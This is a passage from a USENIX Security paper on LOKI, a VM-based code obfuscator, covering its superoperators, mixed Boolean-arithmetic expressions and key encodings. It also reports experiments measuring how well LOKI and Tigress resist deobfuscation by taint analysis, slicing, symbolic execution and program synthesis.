at most |V |m ∗ |O|n = 32 ∗61 = 54 possibilities. For depth 7
(e. g., ((x+y) ·(x⊕c))), they must try up to 34+63 = 17,496
different expressions (or 314,928 for depth 9). In other words,
the search space grows exponentially, making semantic code
book checks as well as program synthesis infeasible.

However, common superoperator strategies, e. g., as used
by Tigress [18], are not resilient against these attacks (cf. Sec-
tion 6.3). They usually include independent core semantics,
each having their own output; this causes the handler to have
multiple, independent outputs, which an attacker can target in-
dividually. As each core semantics itself usually implements
only a single operation [7,58] (e. g., x+y with semantic depth
3) attacking one such superoperator is similar to attacking
a series of regular handlers. To avoid this pitfall, we design
our superoperators to preserve the signature of f (a single
output and x, y, c and k as inputs) while providing a high
semantic depth. In other words, our superoperators consist
of a chain of core semantics that depend on each other and
must be executed sequentially: The output of the core seman-
tics is used as input for subsequent core semantics; the last

USENIX Association 31st USENIX Security Symposium    3061



1 d := a + b ; d1 := a + b
2 b := a * d ; b1 := a * d1
3 d := b | d ; d2 := b1 | d1

Figure 2: Three different core semantics, each implementing a simple opera-
tion. On the right-hand side, the SSA form of the respective expressions.

core semantics produces the output of the handler. Even if an
attacker is aware of these superoperators, they cannot split a
handler into multiple separate synthesis tasks and forces them
to synthesize the whole expression.

On a technical level, we construct superoperators based on
data-flow dependencies, more precisely use-definition chains
based on static single assignment (SSA) [22]: Given an unpro-
tected code unit in form of instructions in three-address code,
we assign a unique variable to each variable definition and
replace subsequent variable uses with its latest definition on
the right-hand side (called SSA form). Then, we build superop-
erators by first randomly picking variables on the right-hand
side and then replacing these uses by their respective variable
definitions recursively. By choosing lower and upper limits
for the recursion bound, we can control the superoperators’
semantic depth. To further increase the syntactic complexity,
we apply our MBAs.
Example 14: Assume we have three sequential instructions
(Figure 2, l. 1-3) implementing semantically simple opera-
tions; each represents an individual core semantics. Notably,
the first instruction’s output serves as input for the second
and third. Similarly, the second instruction is an input to the
third. To create a superoperator that implements a seman-
tically more complex operation, we transform the code into
SSA form, (randomly) pick b1 in the third instruction and
replace this use by its definition (l. 2), yielding d2 := (a *
d1) | d1. When picking d1, we replace it by its definition (l.
1) accordingly, transforming the expression into d2 := (a *
(a + b)) | (a + b). While the initial expressions have a
semantic depth of 3, the superoperator’s depth is 9.

Intuitively, replacing a use by its respective definition is
guaranteed to preserve the semantics, as variable assignments
are immutable in SSA form. Additionally, we prove the rewrit-
ten superoperator is equivalent to the original code with sym-
bolic execution.

4.6 Synergy Effects
To summarize, each of our components thwarts specific de-
obfuscation attacks: MBAs tackle symbolic execution and
pattern matching, while the nature of f with its multiple core
semantics, selected via a key, prevents taint analysis and back-
ward slicing from removing irrelevant semantics. Further,
superoperators increase the semantic complexity, throwing
off semantic attacks.

As indicated, especially the combination of our techniques
prevents automated deobfuscation attacks: They do not only
co-exist but have beneficial synergy effects, which in turn im-
prove the overall resilience of the combination. For example,

our MBAs weaken pattern matching on all levels, including
key encodings, and cause the differences between key encod-
ing and core semantics to blur. Besides the syntactic confusion
introduced, we can propagate the core semantics into the key
encoding and vice versa. For instance, we may use MBAs that
extend the key check with the variables x or y using arithmetic
identities that do not alter the key check itself. At the same
time, MBAs benefit from superoperators given they provide
ample opportunity to pick and replace subexpressions.

4.7 Verification of Code Transformations
Obfuscation generally modifies the syntactic representation
of code; thus, it is crucial to verify that it does not change the
code’s semantic behavior. One can achieve this by checking if
the transformed code is semantically equivalent to the original
one. While this works well for short sequences of instructions
(e. g., by using SMT solvers) within a reasonable amount of
time, it does not scale to complex programs. In such cases,
the industrial state of the art approximates these guarantees
by using extensive random testing [43, 86].

For our design, we choose the best applicable verification
method to ensure correctness: For individual components, we
use formal verification to prove their correctness (cf. Sec-
tions 4.3, 4.4, 4.5). To improve the confidence of the correct-
ness of the combination, we use an approach similar to black-
box fuzzing [27, 38], where we compare the I/O behavior of
the original and transformed code for a user-configurable num-
ber of random inputs, usually ranging from 1,000 to 10,000.
These are randomly sampled depending on the type expected
by the program (e. g., ASCII strings, random 64-bit integers,
or known edge cases such as 0 or 0x f f .. f f ), which needs to
be specified by the user. Crucially, we rely on human insight
and careful specification of the input domain such that the
sampled inputs cover the full program functionality. We apply
this fuzzing both on the binary level as well as on the interme-
diate representation; for the former, we compare the compiled
versions of the unprotected and protected programs, while we
emulate the program’s intermediate representation before and
after transformations for the latter. As a consequence of our
handlers’ interlocked, always-execute nature, we achieve full
code coverage and path coverage both on the intermediate
representation as well as on the binary level for all handlers
needed to represent the original code.

5 Implementation
To evaluate our techniques, we implement a VM-based obfus-
cation scheme named LOKI on top of LLVM [68] (version
9.0.0) and a code transformation component written in Rust.
LOKI consists of ~3,100 LOC in C++ and ~8,700 LOC in
Rust. In this scheme, each function f (x,y,c,k) is represented
by one of our 510 handlers. In other words, each handler can
implement any semantic operation that requires no more than
two input variables and one constant. Our handlers support
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the inclusion of three to five core semantics (randomly cho-
sen at creation time), which can be addressed by setting k
accordingly. Besides these 510 handlers, we have a VM exit
and a handler managing memory operations. The control flow
between handlers is realized as direct threaded code [44], i. e.,
each handler inlines the VM dispatcher. Our VM assumes
a 64-bit architecture. Code operating on smaller bit sizes is
semantically upcasted to guarantee correctness.

Our approach to obfuscate real-world code consists of three
major steps: Lifting, code transformation, and compilation.
The lifting starts with a given C/C++ input program that con-
tains a specified function to protect. We then translate this
function to LLVM’s intermediate representation (IR) and
use various compiler passes to optimize the input and unroll
loops as our prototype does not support control-flow to reduce
engineering burden. Note that this is no inherent limitation
of our approach, but a simplification we made as LLVM’s
passes sufficed in creating binaries that our prototype imple-
mentation can process. Finally, we lift the resulting LLVM
IR to a custom IR which the code transformation component
internally operates on. This component (a) parses the lifted
representation of the targeted function, (b) creates superop-
erators based on this input (with recursion bound 3 to 12),
(c) instantiates the VM handlers, applies our obfuscation tech-
niques (e. g., MBAs), and verifies them. For MBAs, we use
a random recursive expression rewriting bound between 20
and 30. We choose from a pre-computed database of 843,467
MBAs (all expressions up to a depth of 9), split over 48 equiv-
alence classes. In each class, there are roughly 17,500 entries
on average. To exemplify the dimensions: An attacker has
to try up to nm

Loki = 843,46730 = 6.1 ∗ 10177 possibilities to
simplify our MBAs; Based on our reverse engineering efforts,
state-of-the-art obfuscator TIGRESS features only 47 hand-
crafted rules (that are not applied recursively), such that an
attacker has to evaluate nm

Tig = 471 = 47 possibilities. (d) Fi-
nally, the Rust component generates the VM bytecode and
translates the handlers back into LLVM IR. Then, obfuscated
and original code are compiled with -O3 and verified.

6 Experimental Evaluation
Based on our prototype implementation, we evaluate if our
approach can withstand automated deobfuscation techniques
(resilience), while maintaining correctness and imposing only
acceptable overhead (execution cost). Overall, we follow the
evaluation principles outlined by Collberg et al. [20].

All experiments were performed using Intel Xeon Gold
6230R CPUs at 2.10 GHz with 52 cores and 188 GiB RAM,
running Ubuntu. Our obfuscation tooling uses LLVM [68] (v.
9.0) and the SMT solver Z3 [52] (v. 4.8.7). For tracing cover-
age, we rely on Intel Pin [39] (v. 3.23). Our deobfuscation tool-
ing is based on MIASM [11] (commit 65ab7b8), TRITON [61]
(v. 0.8.1), and SYNTIA [7] (commit e26d9f5). We use our
prototype of LOKI and the academic state-of-the-art obfus-

cator, TIGRESS [18] (v. 3.1), to obfuscate five different pro-
grams, each implementing a cryptographic algorithm: AES,
DES, MD5, RC4, and SHA1. This is a common approach: the
first three are based on an obfuscation data set provided by
Ollivier et al. [54]; the others are adapted from reference im-
plementations [9, 70]. These algorithms are representative for
real-world scenarios in which cryptographic algorithms are
used to guard intellectual property (e. g., hash functions used
for checksums in commercial DRM systems) [53]. In a case
study, we obfuscate VLC’s DVD decryption routine to show
how LOKI can be applied onto real-world use cases. Where
necessary, we adapt the programs slightly to allow LOKI to
process them (cf. Section 5) without modifying their function-
ality. TIGRESS’ configuration [62] resembles our design and
works on the same source code files.

6.1 Benchmarking
Our goal is to benchmark the correctness and cost of our
obfuscator. We do so by conducting a series of experiments,
measuring the overhead in terms of runtime and disk size as
well as verifying the correctness of transformed code. For
each obfuscator, we create 1,000 obfuscated instances for
each of the five targeted programs and use them for all exper-
iments. The overhead comparison is given as factor relative
to the original, unobfuscated program compiled with -O3. To
measure the MBA overhead, we create another 1,000 obfus-
cated instances without any MBAs for LOKI.
Experiment 1: Correctness. For each target, we verify
that all 1,000 obfuscated instances produce the same out-
put as the original program for more than 1,000,000
inputs. To obtain a uniform distribution over varying
input lengths of our cryptographic targets, we create
10,000 random inputs for each supported input length l ∈
[16;128]. Additionally, we test a number of edge cases
∈ {0x0..0,0x f f .. f f ,0x80..00,0x00..01,0xaa..aa,0x55..55}
(or their cartesian product if two inputs are required). This
amounts to a total of 1,134,068 inputs, for which we assert
equal input-output behavior.

All obfuscated binaries (both those with and without
MBAs) exhibit exactly the same behavior for the 1,134,068
inputs tested.
Experiment 2: Code Coverage and Path Coverage. To fur-
ther increase confidence in our correctness tests, we measure
both the code coverage and the path coverage that the inputs
from Experiment 1 achieve on the to-be-protected code both
for the original program and obfuscated instances.

We find that each of the more than 1,000,000 inputs from
Experiment 1 achieves full code coverage and full path cover-
age. This ensures that our inputs cover the complete behavior
of the code we obfuscate and that our obfuscation transforma-
tions have not altered this behavior.
Experiment 3: Overhead. For each target, we measure the
average execution runtime. To this end, each target wraps
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the to-be-protected code in a single function, which is called
10,000 times per input. We then execute each obfuscated
binary for 1,000 random inputs, recording the collected tim-
ings. We also compare the original program’s disk size to the
average of the obfuscated binaries.

As evident from Table 2, the runtime overhead ranges from
a factor of 301 to 482 compared to the original program’s
execution time. While this overhead may appear excessive—
also in comparison to TIGRESS—state-of-the-art commercial
obfuscation generally imposes an even larger slowdown, up
to ten times more than LOKI (cf. Table 2, [15]). We re-run this
experiment on the 1,000 binaries without MBAs to evaluate
their impact. On average, they are responsible for ~39% of the
overhead. Similar for the disk size, the obfuscated programs
are 18 to 51 times larger than the original ones. Size-wise,
MBAs cause ~33% of the overhead. For further details of
our MBAs’ overhead, we refer to the Technical Report [62].
Compared to THEMIDA and VMPROTECT, our obfuscating
transformations generate almost always smaller programs,
while TIGRESS always produces significantly smaller bina-
ries.

Overall, we conclude that our overhead is moderate in com-
parison to commercial state-of-the-art obfuscators. For further
discussion, we refer to Section 7. TIGRESS’ overhead is im-
pressively small, but it falls short in providing comprehensive
protection as the following experiments show.

Case Study: VLC with LIBDVDCSS. To showcase the
practical feasibility of LOKI in real-world scenarios, we ob-
fuscate the DecryptKey function in LIBDVDCSS [71]; this
component of VLC [72] is responsible for decrypting the
multimedia content of DVDs keys. The underlying idea is
to protect the decryption algorithm from the prying eyes of
crackers and protect intellectual property. However, the vast
majority VLC’s code is irrelevant to content decryption, such
that there is no need to obfuscate the whole LIBDVDCSS li-
brary or even the whole media player. After obfuscating the
DecryptKey function, which is called before the actual media
content is played, we measure the execution time of the func-
tion during initial startup, when the DVD is decrypted. We
average the results over ten executions. We find that without
obfuscation, the function is executed in 2,952 nanoseconds,
while with obfuscation, the decryption lasts 937,606 nanosec-
onds. Overall, LOKI slows down the initialization by one
millisecond, a negligible cost for protecting one’s intellectual
property, especially if the to-be-protected function is only
called in the application’s startup phase.

6.2 Resilience
We evaluate whether our techniques can withstand automated
deobfuscation approaches. To this end, we analyze the impact
of syntactic and semantic attacks against the obfuscated code
in the presence of both static and dynamic attackers. We de-
sign all experiments by assuming the strongest attacker model.
To this end, we test each component individually, therefore

ignoring beneficial synergy effects. Where applicable, we
first evaluate our techniques on a general design level before
testing their concrete implementations. The former serves
as universal evaluation of a technique’s resilience, while the
latter demonstrates that this also holds when actually imple-
mented on the binary level.

LOKIATTACK. Fundamentally, attacking the obfuscated
VM on the binary-level has two stages: (1) Identifying a spe-
cific handler within the VM, and (2) attacking (simplifying)
this particular handler as far as possible. For our evaluation,
especially (2) is interesting, as all our techniques focus on
hardening individual handlers. As such, we develop a custom
attack framework that we call LOKIATTACK. It is specifically
tailored to the attacked obfuscators and automates the first
stage: It identifies all VM handlers and provides the attacker
(for each handler) with access to the handler parameters (x, y,
c, and—for LOKI—k). For a dynamic attacker, it also provides
concrete values for these parameters. Finally, LOKIATTACK
uses symbolic execution to obtain all code paths through
the intermediate representation (IR) of the O3-optimized VM
code that depend on an unknown (static attacker) or known
(dynamic attacker) value of k (for LOKI). For each such path,
an attacker can launch the actual attack on the handler (stage
2), for which LOKIATTACK provides a number of techniques
implemented as plugins, e. g., taint analysis, symbolic exe-
cution, or program synthesis. To implement LOKIATTACK,
we use MIASM; the plugins for stage 2 are based on TRI-
TON (byte-level taint analysis), MIASM (bit-level taint analy-
sis, backward slicing, and symbolic execution), and SYNTIA
(program synthesis). These plugins include costly operations
(SMT solving, program synthesis, and symbolic execution),
from which some may run for several days. As our evalua-
tion consists of more than 300,000 analysis tasks, we limit
each one to 1 hour to keep the analysis time manageable.
This is a common use-case and in-line with previous work on
deobfuscation [5, 7, 51].

6.3 Evaluation of Key Encodings
We evaluate whether a static attacker can obtain a specific
core semantics using semantic codebook checks. Note this
experiment is only applicable to LOKI as TIGRESS has no
concept of key-based selection of core semantics. Assume
that the function f (x,y,c,k) includes x + y as one of its
core semantics. Then, an attacker can use an SMT solver
to find a value for k such that f is semantically equivalent
to g(x,y,c) := x+ y. On a technical level, we employ an ap-
proach called Counterexample-Guided Abstraction Refine-
ment (CEGAR) [16, 17] that relies on two independent SMT
solvers: While SMT solver A tries to find assignments for all
variables (including k) such that f and g produce the same
output, solver B tries to find a counterexample for this value
of k such that f and g behave differently. Then, A uses the
counterexample as guidance.
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Table 2: Runtime and disk size overhead as factors relative to the non-obfuscated binaries (compiled with O3). (w/o = without)

Time Factor Size Factor
AES DES MD5 RC4 SHA1 AES DES MD5 RC4 SHA1

VMPROTECT
Virtualization 2,489 1,859 1,982 1,321 2,524 37 21 40 44 40
Ultra 8,925 9,152 13,047 5,806 15,411 47 37 57 59 53

THEMIDA
Tiger White 1,388 622 203 240 552 58 38 58 58 59
Dolphin Black 11,695 5,052 2,428 3,634 8,354 67 47 85 63 84

LOKI 386 301 357 482 386 33 18 39 37 51
w/o MBA 236 185 204 315 233 21 13 25 26 32

TIGRESS 261 51 101 58 111 3 4 2 2 3

Experiment 4: Hardness of Key Encodings. We generate
1,000 random instances of our factorization-based key encod-
ing and synthesize 10,000 point functions. Then, we apply
the CEGAR approach independently to both key encodings
and check if the SMT solver finds a correct value for k.

We observe that the SMT solver found no correct key for
the factorization-based encoding, but hit the 1h timeout in all
cases. Considering the point function-based key encoding, Z3
managed to find a value for k in 6,932 cases (~69%). On av-
erage, it found the solution in 284s (excluding timeouts). We
conclude that an SMT solver struggles with our factorization-
based key encoding, while point functions often can be solved.
Recall though that point functions primarily serve to diversify
and erase discernible patterns to impede pattern matching.

Experiment 5: Key Encoding on Binary Level. To verify if
our implementation properly emits these key encodings, we
generate 1,000 binaries that contain one specific handler
which includes x+ y as one of its core semantics. These bina-
ries contain neither MBAs nor superoperators. Assuming a
static attacker uses CEGAR, we check in how many cases the
SMT solver finds a correct value for k.

Using LOKIATTACK, we obtain the handler’s instructions
and use our CEGAR plugin based on Z3 to find a value for
k, such that these instructions are semantically equivalent to
x+ y. While hitting the timeout in 690 cases, Z3 managed
to find a correct value for k in 310 cases (31%). The SMT
solver needed, on average, 444s to find the solution (excluding
timeouts). Overall, we conclude that our key encodings indeed
pose a challenge for a static attacker relying on SMT solvers.

Note that this component is special within our system, as
its approach specifically targets only static attackers. This is
due to the fact that dynamic attackers can trivially observe
a value for k. While a dynamic scenario is not always possi-
ble, another attack vector could be to offload 64-bit integer
factorization to custom tools (assuming an attacker manages
to locate the key encodings, which in itself is a non-trivial
task given our MBAs and point functions). Thus, our key
encodings can be considered to be our weakest component.
However, our design assumes that an attacker can retrieve a
value for k, but we try to make this as hard as possible. The
syntactic simplification experiments show that knowledge of
a key k is beneficial but not sufficient to simplify any handler.

Table 3: Statistics for backward slicing and forward taint analysis (TA),
averaged over 7,000 handlers. Unmarked instruction can be removed as
irrelevant. (Unmark. = not tainted / not sliced; Dyn. = dynamic attacker)

Byte-level TA Bit-level TA Slicing
Static Dyn. Static Dyn. Static Dyn.

L
O

K
I IR paths 1,950 199 1,451 168 1,656 179

Unmark. 17.49% 17.50% 17.61% 17.62% 5.49% 7.57%
Time [s] 556 58 710 78 630 67

T
IG

R
E

S
S IR paths 1 1 1

Unmark. 44.70% 44.70% 22.35%
Time [s] 1.3 1.6 1.4

Syntactic Simplification. In the following, we evaluate
whether syntactic simplification techniques—namely, forward
taint analysis, backward slicing, and symbolic execution—
succeed in extracting a core semantics associated with a spe-
cific key, either by trying to identify instructions not con-
tributing to a function f ’s output or by symbolically simpli-
fying f . We use LOKIATTACK as a basis and conduct the
respective attack in stage 2 for both a static and a dynamic
attacker. We assume that an attacker is given a binary contain-
ing seven handlers, f0(x,y,c,k), · · · , f6(x,y,c,k)), each con-
taining between 3 and 5 core semantics. Further, each han-
dler fi contains one predefined core semantics from the set
{x+y,x−y,x ·y,x∧y,x∨y,x⊕y,x≪ y} that an attacker wants
to identify via syntactic simplification. As sample set for our
experiments, we generate 1,000 binaries protected by MBAs
but without superoperators, amounting to 7,000 handlers to
analyze. For each binary, we use LOKIATTACK to extract all
handlers; for each handler, LOKIATTACK provides us with the
parameter locations (and values for the dynamic scenario) and
all code paths. For each code path (a list of instructions), we
then use the respective stage 2 plugin. We apply the following
experiments also to 7,000 TIGRESS handlers (with disabled
superoperators), respectively.

Experiment 6: Forward Taint Analysis. For each of the
7,000 handlers, we conduct a forward taint analysis with
byte-level and bit-level granularity. The former is based on
TRITON, while the more precise bit-level taint analysis is
implemented on top of MIASM. In general, higher precision
is expected to produce fewer false positives and result in
fewer tainted instructions. Recall that an attacker’s goal is
to identify all instructions that do not belong to the core
semantics associated with a specific key. Using taint analysis,
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an attacker can remove all instructions not depending on x, y,
c, or k (in a dynamic scenario: on a concrete value for k).

The resulting data is shown in Table 3 (where unmarked
instructions refer to instructions that are not tainted, i. e., in-
structions that can be removed). The results show two inter-
esting insights: First, the granularity has negligible impact
on the results (difference of 0.12%). Second, the number of
tainted instructions is almost equal for a static and a dynamic
attacker. This is surprising as for LOKI the number of visited
paths in the IR’s control-flow graph is significantly lower in
the dynamic setting. Intuitively, this means a dynamic attacker
has better chances of removing more instructions. However,
our results show that the sole benefit of a dynamic attacker
is spending less time per handler. In numbers, an attacker is
always able to only remove about ~18% of a handler’s as-
sembly instructions. Manually inspecting the instructions not
tainted revealed that these can always be put into two cate-
gories: Either they are part of the inlined VM dispatcher that
is responsible for loading the next handler (which is indepen-
dent of the current handler’s semantics), or it is an instruction
loading a constant value before it interacts with tainted in-
structions (comparable to Example 3). To summarize, forward
taint analysis fails to remove a single instruction that is related
to the core semantics or key encodings. For TIGRESS, on the
contrary, only one IR path exists, meaning the handlers are
short and simplistic in nature. No difference between bit and
byte-wise taint analysis exists; overall, an attacker succeeds
in removing 45% of instructions—significantly more than for
LOKI.

Experiment 7: Backward Slicing. Besides forward taint
analysis, an attacker can use backward slicing to identify all
instructions that contribute to a handler’s output. We again
consider both a static and dynamic attacker trying to reduce
each handler to the core semantics associated with a specific
k by removing as many unrelated instructions as possible. Our
backward slicing approach is based on MIASM and operates
on the same 7,000 handlers as Experiment 6.

The results are denoted in Table 3, where an unmarked
instruction refers to an instruction that was not sliced, i. e., it
does not contribute to the output. Other than for taint analy-
sis, a dynamic attacker has a slight advantage compared to
a static attacker (2.08%), as they slice slightly fewer instruc-
tions. While the static attacker marks all instructions but the
inlined dispatcher, our manual inspection revealed that dy-
namic analysis skips some IR paths depending on irrelevant
key values. Compared to forward taint analysis, backward
slicing marks more instructions, i. e., it removes fewer instruc-
tions (~7% vs. ~18%). This is due to the backward-directed
nature of the approach, which allows it to slice instructions
loading constant values. We conclude that backward slicing is
technically more precise than forward taint analysis, but fails
to remove instructions belonging to the core semantics or key
encodings. For TIGRESS, slicing succeeds to remove signif-

Table 4: Symbolic execution for semantic depth 3 and 5, each averaged over
7,000 handlers. (Simplified = percentage of handlers simplified)

Depth 3 Depth 5
Static Dynamic Static Dynamic

LOKI
IR paths 4,960 559 5,450 703
Simplified 0% 17.93% 0% 14.64%
Time [s] – 94 – 168

TIGRESS
IR paths 1 –
Simplified 30.61% –
Time [s] 1.4 –

icantly more instructions, however, less than taint analysis.
This is again due to the loading of constant values.
Experiment 8: Symbolic Execution. Besides removing in-
structions not contributing to the output, an attacker can use
symbolic execution to extract a handler’s core semantics.
To this end, a symbolic executor uses simplification rules to
syntactically simplify the handler’s semantics as much as pos-
sible. We use the same 7,000 handlers as Experiment 6. We
analyze each handler independently with MIASM’s symbolic
execution engine and measure whether it can be simplified to
the original core semantics.

We model both a static and more powerful dynamic attacker.
In the latter scenario, the attacker observes a value for k and
thus can nullify all core semantics not related to this specific k.
Hence, they obtain a much simpler expression containing only
the desired core semantics, albeit in syntactically complex
form (due to MBAs). Recall that for the 7,000 handlers, the
semantic depth of the core semantics is always 3 (e. g., x+ y).
This intentionally weakens resilience, as superoperators with
a higher depth naturally increase both semantic and syntactic
complexity. To show this, we create another 7,000 handlers
(1,000 binaries à 7 core semantics) with a semantic depth
of 5 (e. g., x+ y+ c) and repeat this experiment. We cannot
create handlers of depth 5 for TIGRESS, as it is not possible
to explicitly set the handler’s semantic depth.

All results are shown in Table 4. Notably, a static attacker
fails to simplify any of LOKI’s handlers. Without knowing
a value for k, an attacker has to analyze the expression con-
taining all key encodings and their associated core semantics.
In other words, an attacker fails to nullify irrelevant core se-
mantics. To significantly simplify the handler, a static attacker
has to find a valid key first (reducing the problem to Exper-
iment 5). A dynamic attacker, on the other hand, only has
to simplify the MBAs as they already identified the core se-
mantics associated with the key. For depth 3, they succeed in
removing all MBAs for ~18% of LOKI’s handlers, while, for
TIGRESS, ~31% of the handlers can be simplified. In other
words, an attacker can simplify significantly more handler
for TIGRESS than for LOKI. For a more realistic depth of 5—
subsequent experiments show ~80% of LOKI’s handlers are
at least of depth 5—the attacker’s success rate is even lower,
namely ~15%. This percentage implies that a number of ex-
pressions can be simplified regardless of the higher base depth.
This may be the case, e. g., when the random combination of
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applied MBAs cancels itself out. Still, this demonstrates our
synergy effects are indeed helpful to prevent an attacker from
symbolically simplifying the core semantics, leaving them
with a complex MBA that conceals the actual semantics.

We conclude that our MBAs are successful in thwarting
symbolic execution, one of the most powerful deobfuscation
attacks. For a more detailed analysis of how a user of LOKI
can trade performance against reducing the attacker’s suc-
cess chances even further (to 6.79%), refer to the Technical
Report [62].

Experiment 9: Diversity of MBAs. An attacker tasked with
removing such MBAs may investigate whether a diverse num-
ber of expressions exists for the same core semantics. If this
is not the case, they can manually analyze each MBA and
extend the symbolic executor’s limited set of simplification
rules by rewriting rules to “undo” specific MBAs. To this
end, we assume a dynamic attacker that already symbolically
simplified the expression as far as possible without any MBA-
specific simplification rules. We do this for each handler type
(recall that the 7,000 handlers of depth 3 consist of 7 different
core semantics à 1,000 handlers) and then analyze how many
different, unique MBA expressions exist.

Our analysis reveals that, in summary, LOKI generates
5,482 unique MBAs for the 7,000 expressions analyzed
(78.31%), while TIGRESS creates only 16 (~0.23%) unique
MBAs. Thus, an attacker adding 16 rules to their symbolic
executor could simplify all core semantics. This difference
can be explained by the fact that TIGRESS uses only a few
handwritten rules to create MBAs, while LOKI features a
generic approach to synthesize MBAs. To further highlight
the difference between both approaches, we repeat this exper-
iment for another set of 7,000 handlers—created in the same
configuration but with different random seeds—and calculate
the intersection of unique MBAs. TIGRESS re-uses exactly the
same 16 MBAs, while LOKI re-uses 109 expressions but gen-
erates 5,299 new unique MBAs (i. e., 10,781 unique MBAs
in total). Creating simplification rules specific to LOKI is a
tedious task (given the high number of unique MBAs) that
does not pay off when analyzing other obfuscated instances.
For a discussion of what an attacker can achieve when they
are in possession of all available MBA rewriting rules, refer
to Section 7. We conclude that LOKI’s MBAs are superior
to state-of-the-art approaches relying on a small number of
hardcoded MBAs, both in terms of resilience and diversity.

State-of-the-art MBA Deobfuscation. A number of ap-
proaches for MBA simplification have been proposed, most
notably SSPAM [30], ARYBO [36], NEUREDUCE [32], and
MBA-BLAST [48]. The deployed techniques range from pat-
tern matching-based simplification over machine learning to
algebraic simplification. Regardless of the underlying tech-
nique, they all share one major drawback: They expect the
MBAs to be available on the source code level in form of a
formula, such as “x + y - y”, rather than dealing with them

on the binary level. As a consequence, these deobfuscation
tools lack support for MBAs using different bit sizes and
operations such as zero-extension or sign-extension. Further-
more, they assume that the MBAs are free of constants and
more complex arithmetic operations, such as multiplication
or left-shifts. In contrast to these limitations and assumptions,
LOKI’s MBAs not only employ all these operators but also
contain constants, thus making a fair, direct evaluation of our
MBAs contained in binaries difficult. To avoid these pitfalls,
we use LOKI’s term rewriter to generate simpler MBAs—
called artificial MBAs—and emit them as a formula rather
than deploying them in the binary. We make the following
artificial restrictions: We (a) emit no constants, (b) do not
intertwine the MBAs with the key encoding, (c) remove any
information (or operation) relating to size casts, and (d) avoid
complex, unsupported operations such as multiplications or
left-shifts. Instead, the resulting MBAs are a formula contain-
ing only the following operations {+,−,∧,∨,⊕}. While this
significantly weakens LOKI’s MBAs, aforementioned state-
of-the-art MBA deobfuscation techniques can now process
these artificial MBAs, allowing a fair evaluation. For NEURE-
DUCE, we use the Gated Recurrent Unit (GRU)-based Long
Short-Term Memory (LSTM) model provided by the authors.
We further adapt MBA-BLAST to recursively attempt simpli-
fication for subexpressions. MBA-BLAST cannot deal with
nested arithmetic expressions; only expressions on the root
level of the expression’s abstract syntax tree may contain arith-
metic operators. All subexpressions must consist purely of
Boolean operators. As our MBAs are highly nested, we apply
the respective tool recursively on each subexpression until
it cannot simplify the expression any longer. We considered
evaluating ARYBO [36]; however, we noticed it does not termi-
nate for 64-bit expressions within one hour. Further, ARYBO
outputs truth tables in form of expressions representing the
relations between different bit positions. Its goal is aiding a
human analyst rather than automated simplification. Thus, we
exclude it from the following experiment. As a baseline, we
port our deobfuscation tooling, LOKIATTACK with the SE
plugin, to the source level: We first use aggressive compiler
optimizations (“-O3”) to simplify the MBA and then—as a
stage 2 plugin—symbolically summarize it using MIASM’s
symbolic execution engine. This is the same approach as has
been used for the previous experiments.

Experiment 10: MBA Formula Deobfuscation. For each
core semantics from the set {x+ y,x− y,x∧ y,x∨ y,x⊕ y},
we use LOKI to generate 1,000 artificially simplified MBAs
on the source code level. We do this for each recursive
term rewriting bound from [1,30] (during normal operation,
LOKI’s rewriting bound is randomly chosen between [20,30]).
In summary, we generate 5,000 MBAs per rewriting bound,
i. e., 150,000 obfuscated expressions in total. We then pass
each MBA to the deobfuscation tools MBA-BLAST, NEURE-
DUCE, SSPAM, and LOKIATTACK and observe how many
expressions they can simplify to the ground truth.
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Figure 3: Number of artificial MBAs that have been successfully simplified
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recursive rewriting bounds randomly picked by LOKI for our regular MBAs.

The number of simplified expressions, averaged over the
five different core semantics, are depicted in Figure 3. As the
data shows, our custom deobfuscation tooling, LOKIATTACK,
significantly outperforms all state-of-the-art deobfuscation
techniques. NEUREDUCE can only simplify a handful of ex-
pressions in total. One limitation is that it can only work with
inputs up to 100 characters; however, our artificial MBAs with
a rewriting bound of 20 contain, on average, 7,960 charac-
ters (after removing all whitespaces). We have tried a similar
approach as we have employed for MBA-BLAST, however,
found it does not improve its accuracy. Studying their dataset
used to train the model, we believe that their approach heavily
overfits on the training data, a set of simple and short (on
average 75 characters without whitespace) MBAs. SSPAM
fails to deal with the highly recursive nature of our MBAs,
frequently hitting the stack recursion limit. MBA-BLAST
performs better and manages to simplify a number of simple
MBAs. However, the success rate of all tools decreases with
a higher term rewriting bound. LOKI’s default is to use a ran-
dom recursive rewriting bound between 20 and 30, for which
all but LOKIATTACK fail to simplify basically any MBA. For
example, MBA-BLAST simplifies only 157 of 55,000 MBAs
for LOKI’s recursive rewriting bounds, [20,30]. While the
success rate of LOKIATTACK may seem high, recall that we
artificially weakened these MBAs by excluding a number of
operations and removing all constants; Experiment 8 evalu-
ates how LOKIATTACK with the symbolic execution plugin
performs on our regular MBAs.

Semantic Attacks. Semantic attacks such as program syn-
thesis exploit the low semantic depth of individual core seman-
tics. We evaluate the impact of our superoperators on these
attacks. First, we analyze the average semantic complexity
of core semantics with and without superoperators. Then, we
perform a high-level experiment to measure the general limits
of synthesis-based approaches. Finally, we demonstrate that
our superoperators withstand synthesis-based attacks on the
binary level. Note that we only consider a dynamic attacker
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Figure 4: The distribution of core semantics with and without superoperators.

in the following, as knowing a value for k is a prerequisite for
any reasonable semantic attack. A static attacker would only
learn random behavior, as the key encodings are only valid
for a predefined set of keys.

Experiment 11: Complexity of Core Semantics. To evalu-
ate our superoperators’ distribution and their impact on the
complexity of core semantics, i. e., their semantic depth, we
create 1,000 obfuscated binaries without superoperators as
a baseline for each benchmarking target (cf. Section 6.1) and
1,000 binaries with superoperators. We compare the two sets
on the average number of unique core semantics and their
semantic depths. To simplify evaluation, no MBAs are used.

Without superoperators, each binary on average contains
15.8 core semantics. With superoperators, this number in-
creases to 58.8. Additionally, Figure 4 shows that superop-
erators have a significantly higher semantic depth, usually
ranging from 5 to 13 with a clearly visible peak at depth 9.
Compared to obfuscation without superoperators, where only
a few core semantics with semantically low complexity are
used, superoperators increase the number of unique core se-
mantics and their semantic depth notably. This makes the task
of synthesizing semantics more difficult.

Experiment 12: Limits of Program Synthesis. We evaluate
how the success rates of program synthesis relate to semantic
complexity. We generate 10,000 random expressions for each
semantic depth between 1 and 20 and measure how many
of them can be synthesized successfully. Modeling our func-
tion f , we use SYNTIA’s grammar [7] to generate random
expressions depending on three variables. Based on the au-
thors’ guidance, we set SYNTIA’s configuration vector to
(1.5, 50000, 20, 0) and use it to synthesize each expression.

Figure 5 shows that simple expressions can be synthesized
quite easily; at a semantic depth of 7, only ~50% can be syn-
thesized. For larger semantic depths, it becomes increasingly
unlikely to synthesize expressions. Given our results from
